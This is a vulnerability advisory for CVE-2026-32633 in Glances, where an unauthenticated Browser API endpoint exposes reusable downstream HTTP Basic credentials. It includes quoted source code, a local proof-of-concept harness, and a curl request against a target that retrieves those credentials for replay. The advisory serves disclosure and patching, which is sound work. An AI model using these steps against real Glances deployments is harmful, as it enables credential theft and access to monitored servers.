CVE-2026-32633: Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`

Published Mar 16, 2026
·
Updated

Summary

In Central Browser mode, the /api/4/serverslist endpoint returns raw server objects from GlancesServersList.getserverslist(). Those objects are mutated in-place during background polling and can contain a uri field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.

If the front Glances Browser/API instance is started without --password, which is supported and common for internal network deployments, /api/4/serverslist is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.

Details

The Browser API route simply returns the raw servers list:

python glances/outputs/glancesrestfulapi.py:799-805 def apiserverslist(self): self.updateserverslist() return GlancesJSONResponse(self.serverslist.getserverslist() if self.serverslist else [])

The main API router is only protected when the front instance itself was started with --password. Otherwise there are no authentication dependencies at all:

python glances/outputs/glancesrestfulapi.py:475-480 if self.args.password: router = APIRouter(prefix=self.urlprefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.urlprefix)

The Glances web server binds to 0.0.0.0 by default:

python glances/main.py:425-427 parser.addargument( '--bind', default='0.0.0.0', dest='bindaddress', )

During Central Browser polling, server entries are modified in-place and gain a uri field:

python glances/serverslist.py:141-148 def updatestats(self, server): server['uri'] = self.geturi(server) ... if server['protocol'].lower() == 'rpc': self.updatestatsrpc(server['uri'], server) elif server['protocol'].lower() == 'rest' and not importrequestserrortag: self.updatestatsrest(f"{server['uri']}/api/{apiversion}", server)

For protected servers, geturi() loads the saved password from the [passwords] section (or the default password), hashes it, and embeds it directly in the URI:

python glances/serverslist.py:119-130 def geturi(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clearpassword = self.password.getpassword(server['name']) if clearpassword is not None: server['password'] = self.password.gethash(clearpassword) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri

Password lookup falls back to a global default:

python glances/passwordlist.py:55-58 try: return self.passworddict[host] except (KeyError, TypeError): return self.passworddict['default']

The sample configuration explicitly supports browser-wide default password reuse:

ini conf/glances.conf:656-663 [passwords] localhost=abc default=defaultpassword

The secret embedded in uri is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:

python glances/password.py:72-74,94 For Glances client, get the password (confirm=False, clear=True): 2) the password is hashed with SHA-pbkdf2hmac (only SHA string transit password = passwordhash

python glances/client.py:56-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'

The Browser WebUI also consumes that raw uri directly and redirects the user to it:

javascript // glances/outputs/static/js/Browser.vue:83-103 fetch("api/4/serverslist", { method: "GET" }) ... window.location.href = server.uri;

So once server.uri contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.

PoC

Step 1: Verified local live proof that server objects contain credential-bearing URIs

The following command executes the real glances/serverslist.py update logic against a live local HTTP server that always returns 401. This forces Glances to mark the downstream server as PROTECTED and then retry with the saved/default password. After the second refresh, the in-memory server list contains a uri field with embedded credentials.

bash cd D:\bugcrowd\glances\repo @' import importlib.util import json import sys import threading import types from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path from defusedxml import xmlrpc as defusedxmlrpc

pkg = types.ModuleType('glances') pkg.apiversion = '4' sys.modules['glances'] = pkg

clientmod = types.ModuleType('glances.client') class GlancesClientTransport(defusedxmlrpc.xmlrpcclient.Transport): def settimeout(self, timeout): self.timeout = timeout clientmod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = clientmod

globalsmod = types.ModuleType('glances.globals') globalsmod.jsonloads = json.loads sys.modules['glances.globals'] = globalsmod

loggermod = types.ModuleType('glances.logger') loggermod.logger = types.SimpleNamespace( debug=lambda a, k: None, warning=lambda a, k: None, info=lambda a, k: None, error=lambda a, k: None, ) sys.modules['glances.logger'] = loggermod

passwordlistmod = types.ModuleType('glances.passwordlist') class GlancesPasswordList: pass passwordlistmod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.passwordlist'] = passwordlistmod

dynamicmod = types.ModuleType('glances.serverslistdynamic') class GlancesAutoDiscoverServer: pass dynamicmod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.serverslistdynamic'] = dynamicmod

staticmod = types.ModuleType('glances.serversliststatic') class GlancesStaticServer: pass staticmod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.serversliststatic'] = staticmod

spec = importlib.util.specfromfilelocation('testedserverslist', Path('glances/serverslist.py')) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) GlancesServersList = mod.GlancesServersList

class Handler(BaseHTTPRequestHandler): def doPOST(self): = self.rfile.read(int(self.headers.get('Content-Length', '0'))) self.sendresponse(401) self.endheaders() def logmessage(self, args): pass

httpd = HTTPServer(('127.0.0.1', 0), Handler) port = httpd.serveraddress[1] thread = threading.Thread(target=httpd.serveforever, daemon=True) thread.start()

class FakePassword: def getpassword(self, host=None): return 'defaultpassword' def gethash(self, password): return f'hash({password})'

sl = GlancesServersList.new(GlancesServersList) sl.password = FakePassword() sl.columns = [{'plugin': 'system', 'field': 'hrname'}] server = { 'key': f'target:{port}', 'name': '127.0.0.1', 'ip': '203.0.113.77', 'port': port, 'protocol': 'rpc', 'username': 'glances', 'password': '', 'status': 'UNKNOWN', 'type': 'STATIC', } sl.getserverslist = lambda: [server]

sl.GlancesServersListupdatestats(server) sl.GlancesServersListupdatestats(server) httpd.shutdown() thread.join(timeout=2) print(json.dumps(sl.getserverslist(), indent=2)) '@ | python -

Verified output:

json [ { "key": "target:57390", "name": "127.0.0.1", "ip": "203.0.113.77", "port": 57390, "protocol": "rpc", "username": "glances", "password": null, "status": "PROTECTED", "type": "STATIC", "uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390", "columns": [ "systemhrname" ] } ]

This is the same raw object shape that /api/4/serverslist returns.

Step 2: Remote reproduction on a live Browser instance

1. Configure Glances Browser mode with a saved default password for downstream servers:

ini [passwords] default=SuperSecretBrowserPassword

2. Start the Browser/API instance without front-end authentication:

bash glances --browser -w -C ./glances.conf

3. Ensure at least one protected downstream server is polled and marked PROTECTED.

4. From any machine that can reach the Glances Browser API, fetch the raw server list:

bash curl -s http://TARGET:61208/api/4/serverslist

5. Observe entries like:

json { "name": "internal-glances.example", "status": "PROTECTED", "uri": "http://glances:<pbkdf2hash>@internal-glances.example:61209" }

Impact

- Unauthenticated credential disclosure: When the front Browser API runs without --password, any reachable user can retrieve downstream Glances authentication secrets from /api/4/serverslist. - Credential replay: The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password. - Fleet-wide blast radius: A single Browser instance can hold passwords for many downstream servers via host-specific entries or [passwords] default, so one exposed API can disclose credentials for an entire monitored fleet. - Chains with the earlier CORS issue: Even when the front instance uses --password, the permissive default CORS behavior can let a malicious website read /api/4/serverslist from an authenticated browser session and steal the same downstream credentials cross-origin.

Recommended Fix

Do not expose credential-bearing fields in API responses. At minimum, strip uri, password, and any derived credential material from /api/4/serverslist responses and make the frontend derive navigation targets without embedded auth.

python glances/outputs/glancesrestfulapi.py

def sanitizeserver(self, server): safe = dict(server) safe.pop('password', None) safe.pop('uri', None) return safe

def apiserverslist(self): self.updateserverslist() servers = self.serverslist.getserverslist() if self.serverslist else [] return GlancesJSONResponse([self.sanitizeserver(server) for server in servers])

And in the Browser WebUI, construct navigation URLs from non-secret fields (ip, name, port, protocol) instead of trusting a backend-supplied server.uri.

Other sources

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, the /api/4/serverslist endpoint returns raw server objects from GlancesServersList.getserverslist(). Those objects are mutated in-place during background polling and can contain a uri field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without --password, which is supported and common for internal network deployments, /api/4/serverslist is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. Version 4.5.2 fixes the issue.

MITRE

Affected Software

2 affected componentsFixes available
pip/Glances<=4.5.2-dev01
4.5.2
nicolargo Glances<4.5.2

Event History

Mar 16, 2026
Advisory Published
via GitHub·04:35 PM
Data Sourced
via GitHub·04:35 PM
DescriptionSeverityWeaknessAffected Software
Mar 18, 2026
CVE Published
via MITRE·05:53 PM
Data Sourced
via MITRE·05:53 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jan 11, 58189
Event
via FIRST·07:22 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32633?

CVE-2026-32633 has been assessed with a high severity rating due to the potential exposure of sensitive HTTP Basic credentials.

2

How do I fix CVE-2026-32633?

To remediate CVE-2026-32633, upgrade to Glances version 4.5.2 or later.

3

What does CVE-2026-32633 affect?

CVE-2026-32633 affects the Glances package specifically in versions up to 4.5.2-dev01 when used in Central Browser mode.

4

What vulnerabilities does CVE-2026-32633 introduce?

CVE-2026-32633 introduces a risk of unauthorized access to server credentials embedded in the response from the serverslist API endpoint.

5

Is my system vulnerable to CVE-2026-32633?

Your system is vulnerable to CVE-2026-32633 if it runs Glances versions up to and including 4.5.2-dev01 and uses the Central Browser mode.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203